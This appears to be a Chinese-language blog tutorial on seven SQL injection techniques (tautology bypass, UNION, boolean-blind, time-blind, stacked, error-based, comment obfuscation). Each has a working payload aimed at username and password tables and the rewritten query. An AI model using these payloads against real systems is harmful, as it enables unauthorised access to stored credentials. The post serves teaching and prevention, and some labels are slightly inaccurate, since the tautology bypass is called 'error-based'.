1.基于错误的注入
攻击者通过构造恶意的 sql 语句,使得服务器返回错误信息,从而获取敏感信息。
例如,攻击者可以在登录页面的用户名和密码输入框中输入以下内容:
' or 1=1--
这将使 sql 语句变为:
select * from users where username = '' or 1=1--' and password = ''
其中,双破折号(--)表示注释掉后面的内容,所以这个 sql 语句将会返回所有用户的信息,因为 1=1 总是成立的。
2.基于联合查询的注入
攻击者通过在注入点构造联合查询语句,获取数据库中的敏感信息。
例如,攻击者可以在搜索框中输入以下内容:
' union select username, password from users--
这将使 sql 语句变为:
select * from products where name = '' union select username, password from users--'
其中,双破折号(--)表示注释掉后面的内容,所以这个 sql 语句将会返回用户表中的用户名和密码信息。
3.基于布尔盲注的注入
基于布尔盲注的注入是一种常见的sql注入攻击方式,攻击者通过构造恶意sql语句,利用应用程序返回的布尔值(真或假)来推断数据库结构和相关信息。
例如,攻击者可以在搜索框或者输入框中输入以下内容:
' and (select count(*) from users where username='admin' and substr(password,1,1)='a')>0 and '1'='1
这将使 sql 语句变为:
select * from products where name = '' and (select count(*) from users where username='admin' and substr(password,1,1)='a')>0 and '1'='1
上述sql语句中,利用了select count(*)函数来查询数据库中是否存在用户名为admin且密码的首字母为字母a的记录。如果存在,则查询结果为真,否则为假。攻击者可以通过观察搜索页面的响应内容,来判断查询结果是真还是假,从而推断出数据库结构和相关信息。
4.基于时间盲注的注入
攻击者通过构造恶意的 sql 语句,使得服务器在执行查询时延迟一段时间,从而获取敏感信息。
例如,攻击者可以在搜索框或者输入框中输入以下内容:
' and if(substring(database(),1,1)='m',sleep(10),0)--
这将使 sql 语句变为:
select * from products where name = '' and if(substring(database(),1,1)='m',sleep(10),0)--'
上述sql语句中,利用了if函数和substr函数来判断数据库名称的首字母是否为字母m。如果是,就执行sleep(10)函数,即让数据库等待10秒钟,否则就执行0,即不等待。攻击者可以通过观察登录页面的响应时间来判断数据库名称的首字母是否为字母m,从而推断出数据库的结构和相关信息。
5.基于堆叠查询的注入
攻击者通过在注入点构造多个 sql 查询语句,获取数据库中的敏感信息。
例如,攻击者可以在搜索框中输入以下内容:
'; select username, password from users;--
这将使 sql 语句变为:
select * from products where name = ''; select username, password from users;--'
这个 sql 语句将会返回用户表中的用户名和密码信息。
6.基于报错注入
攻击者通过构造恶意的 sql 语句,使得服务器返回错误信息,从而获取敏感信息。
例如,攻击者可以在搜索框中输入以下内容:
' and (select 1 from(select count(*),concat(0x3a,@@version,0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)--
这将使 sql 语句变为:
select * from products where name = '' and (select 1 from(select count(*),concat(0x3a,@@version,0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)--'
这个 sql 语句将会返回服务器版本信息。
7.基于注释符号的注入
攻击者通过在注入点插入注释符号,使得恶意的 sql 语句被忽略,从而获取敏感信息。
例如,攻击者可以在搜索框中输入以下内容:
'/*abc*/ union /*def*/ select /*ghi*/ username, password /*jkl*/ from /*mno*/ users/*pqr*/--
这将使 sql 语句变为:
select * from products where name = ''/*abc*/ union /*def*/ select /*ghi*/ username, password /*jkl*/ from /*mno*/ users/*pqr*/--'
其中,所有以 /* 开头,以 */ 结尾的部分都被注释掉了,这个 sql 语句将会返回用户表中的用户名和密码信息。
总结
学习好系统安全方面的知识,能让我更好的预防各种黑客的攻击,最基础风险的了解,非常必要。
发表评论